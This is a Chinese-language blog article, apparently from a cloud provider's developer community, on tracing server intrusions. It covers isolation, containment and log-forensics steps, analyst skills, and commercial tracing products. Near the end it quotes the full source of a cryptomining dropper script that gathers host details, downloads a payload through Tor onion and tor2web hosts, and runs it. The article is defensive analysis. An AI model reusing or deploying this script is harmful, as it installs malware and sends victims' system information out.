1.为什么攻击溯源不是一件容易的事？
服务器被攻击的时候，寻找到确切的攻击原因，还原真实攻击路径是一件非常耗时和烧脑的事情。
来解释一下为什么？
黑客搞你：以点入侵。
好比古代皇帝翻牌，你管理的服务器集群的漏洞就像黑客手中的嫔妃，任由选择，其可以选择任意一条路径来进行入侵。
黑客选漏洞入侵你找黑客：以面找点。
像打地鼠。刚看到一点点入侵痕迹往下寻找，一旦出现卡点和痕迹丢失，则不能完整证明证据链逻辑，得推翻思路再重新构思溯源方向，耗时耗力。
白帽子找到黑客真正的入侵路径需要多路径联想验证在安全行业，攻击溯源领域一直是一个强烈依赖人力和经验型的领域。要做一个合格的"安全福尔摩斯"，需要溯源者至少站在以下几个维度思考问题和步骤去执行，同时保证业务可用性和痕迹的可取证：
代码语言：javascript复制攻击溯源处置步骤：
1.隔离阶段：（原服务器）
（1）网络隔离 ——目的：防止木马后门网络层横向扩散
（2）盘符隔离 ——目的：防止木马后门盘符间扩散
2.止损阶段：（原服务器）
（3）对服务器制作取证镜像 ——目的：为取证阶段提供证据源，同时不影响系统可用性
（4）数据安全止损 ——目的：优先保障数据安全可用性，降低数据破坏风险
（5）会话中断 ——目的：中断黑客会话，防止进一步深度渗透利用
（6）快照数据还原 ——目的：快速恢复业务，保障服务器可用性
3.取证阶段：（取证镜像服务器）
（7）主机层日志取证 ——目的：从最后一层获取和寻找黑客权限痕迹，倒推应用层攻击路径
（8）应用层日志取证 ——目的：溯源应用层攻击痕迹，判断应用层入侵方式
（9）安全设备日志取证 ——目的：结合安全设备痕迹，充分证明应用层攻击方式成立
（10）攻击全路径还原 ——目的：黑客攻击全路径还原2.对于白帽子，需要什么素质？
艺多不压身的解释需要掌握：
代码语言：javascript复制（1）集群业务特点
（2）访问控制特点
（3）web组件种类
（4）系统组件种类
（5）端口暴露情况
（6）漏洞总体把控
（7）渗透测试技巧，攻击者习惯，攻击者心理判断
（8）时间线把控
（9）逻辑推理能力
（10）耐心
（11）良好的持续沟通能力
......当然，还有很多综合的素质是同时需要兼顾具备的。
个人认为，能成为一个出色的入侵溯源白帽子的技术广度和深度的积累，是比成为一个入侵者要更难和更具挑战的！
就好像高考AB卷，A卷是攻击，B卷是防守。
入侵者只要会做A卷，而白帽子是AB卷都要会做。
会做！！！3.高效安全溯源技术解决方案，溯源工具是空白。
如果你经常混迹github和许多开源项目，会发现：
（1）入侵工具琳琅满目：漏洞的正向扫描工具，POC，EXP工具非常多，黑客学习成本很低，这就是为什么入侵者入门都是从“脚本小子”开始的。
（2）安全防护工具更丰富：硬件工具诸如国内多家著名安全厂商，奇安信，绿盟，天融信，启明星辰等等。软件工具就更多了这里不列举。
(3) 体系化安全溯源知识，工具建设：几乎空白
可能会有同学质疑，很多安全产品也提供此类功能呀？
——亲测过许多安全检测分析产品和工具，取证逻辑上强关联真的不准确！
入侵溯源工具能力局限的本质问题：
基于某一层入侵元素做为起始点的入侵行为分析逻辑都有被灵活多变的渗透测试技巧跳脱的机会，因为攻击动作是动态多向的，溯源工具是静态单向的。
唯一值得用户和白帽子感到庆幸的是，在日志等痕迹记录不被删除的前提下，只要你来过，必定有痕迹。
只要服务器日志未删，必定可以找到蛛丝马迹，还原攻击路径。只是差异在时间损耗问题4.入侵溯源监控体系如何建设呢？
没有官方可靠的渠道可了解到行业整体溯源时耗数据，就个人处置经验及同行分享case来看，平均损耗时间在2h~24h可完整还原全链路攻击路径。若想解决时间损耗问题，必须依靠相关建设工具来辅助人力，缩短时耗。
溯源体系建设应同溯源环节一样，以后置前。
以OSI七层模型为例，还原我们溯源的时候，如何进行路径复现：
安全溯源路径示意图安全溯源中常涉及的取证分析元素：
1.时间线分析：（1）最早探测时间（2）入侵时间（3）权限维持时间（4）登录时间
2.攻击行为分析：（1）应用层攻击行为（2）网络层攻击行为（3）数据链路层攻击行为（4）会话行为
3.用户权限分析：（1）域权限（2）管理员权限（3）普通用户权限（4）设备权限
4.攻击源分析：（1）境内源，境外源；（2）云内源，云外源；（3）真实源，伪造源
5.沦陷范围分析：（1）集群纵向沦陷范围（2）集群横向沦陷范围（3）同云跨地域沦陷范围（4）跨云沦陷范围
......个人认为：
溯源样本采样节点，应在OSI七层模型中的每一层数据传输环节，完成日志回传和记录动作。对溯源动作中常涉及的取证元素进行自动化关联，利用机器学习算法进行碰撞分析。业内目前还未看到此思路下成熟的解决方案和技术产品，大部分依旧处于静态模式检测。但当一个安全产品陷入静态检测模式，在快速满足基础业务安全需求的同时，又会带来一个新的问题：那就是强烈依赖病毒样本和攻击样本库，致使产品迭代陷入"安全对抗"死循环，安全对抗存在“攻快于守”常识，简单说就是：入侵的速度快于修复的速度。这是一个低ROI的解决方案，可解决短期紧急问题，无法解决长期安全对抗问题。
4.1国外领先解决方案：
谷歌云 Chronicle
官方网站：https://chronicle.security/products/
技术白皮书：https://go.chronicle.security/hubfs/Backstory_DS.pdf
Chronicle产品能力补充图解国外在云上主机安全产品的建设思路同国内不同，强调责任共担，如AWS云安全中心强调的责任共担模型：
链接：https://aws.amazon.com/cn/compliance/
AWS责任共担模型AWS安全合作伙伴解决方案：
链接：https://aws.amazon.com/cn/partner-solution/security/
AWS安全合作伙伴解决方案国外云上安全溯源解决方案方面，核心逻辑：强调合作伙伴能力互补，用户安全责任共担。目前还未看到较成熟和便捷使用的云内安全攻击溯源产品，在用户遇到问题时，以合作伙伴服务的模式来解决问题。
4.2国内领先解决方案：
腾讯云高级威胁追溯系统ATTS：
官方链接：https://cloud.tencent.com/document/product/1017
ATTS系统可申请试用，ATTS在公有云上还属于内测阶段，还未供应公有云形态产品。
阿里云安全中心溯源功能：
官方链接：https://www.aliyun.com/product/sas
蠕虫传播事件溯源链路图
WEB漏洞入侵事件溯源链路图阿里云在入侵溯源体系建设是走在前沿的，已经实现了解决方案向公有云产品化的转型。
虽然无法了解到其产品节点监控采集的逻辑是什么，但我相信阿里云的安全同学同矿马的对抗过程，可能会面对同样一个问题：
矿马会首先杀死监控节点进程，令监控失联。
打个比方，之前在实战矿马系列文章中分享过的/root/.systemd-service.sh源代码：
链接：https://cloud.tencent.com/developer/inventory/2702/article/1731875
代码语言：javascript复制#!/bin/bash
exec &>/dev/null
echo sMA4p3iYpUgY2CJZoyKJ5M66ce K50VAIO2IKC8A1NT2JSksIXBHXJ8PYNYVJ6p0
echo
sMA4p3iYpUgY2CJZoyKJ5M66ce K50VAIO2IKC8A1NT2JSksIXBHXJ8PYNYVJ6p0
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "bggts547gukhvmf4cgandlgxxphengxovoyo6ewhns5qmmb2b5oi43yd")
sockz() {
n=(doh.defaultroutes.de dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$($c https://${n[$((RANDOM))]}/$p | grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" |tr ' ' 'n'|sort -uR|head -1)
}
fexe() {
for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod x $i/i && cd $i && ./i && rm -f i && break;done
}
u() {
sockz
fexe
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod x $x;$x;rm -f $x
}
for h in tor2web.in tor2web.it tor2web.io tor2web.su onion.com.de tor2web.to onion.sh
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/01)/status; then
u $t.$h
else
break
fi
done |base64 -d|bash这只是其中一个案例，矿马会对自启动任务，密钥，ssh配置，系统进程等诸多系统进程和配置文件篡改和替换，倘若我们的监控节点agent任务在其中，矿马的文件替换动作就会让我们的监控节点失联，造成无信息可查。
5.解决监控节点丢失造成的无数据可查问题
全面地发现安全问题，异构思维是核心。在云上自动化监控节点的保障下，同样需要可灵活配置的半自动化入侵排查工具。目的是为了保障在终端监控agent节点失效的特殊情况下，可利用半自动化溯源排查工具快速获取重要的入侵痕迹信息。为快速安全止损提供最后一道解决方案。
半自动化人工排查工具，为agent的丢失场景提供兜底方案6.结语
云上溯源体系建设，随着云用户安全问题激增（勒索病毒、挖矿木马、渗透入侵，配置隐患等问题）逐步威胁用户数据安全，影响用户产品体验。云上入侵溯源体系建设，入侵溯源体系产品化实现已成重要趋势。
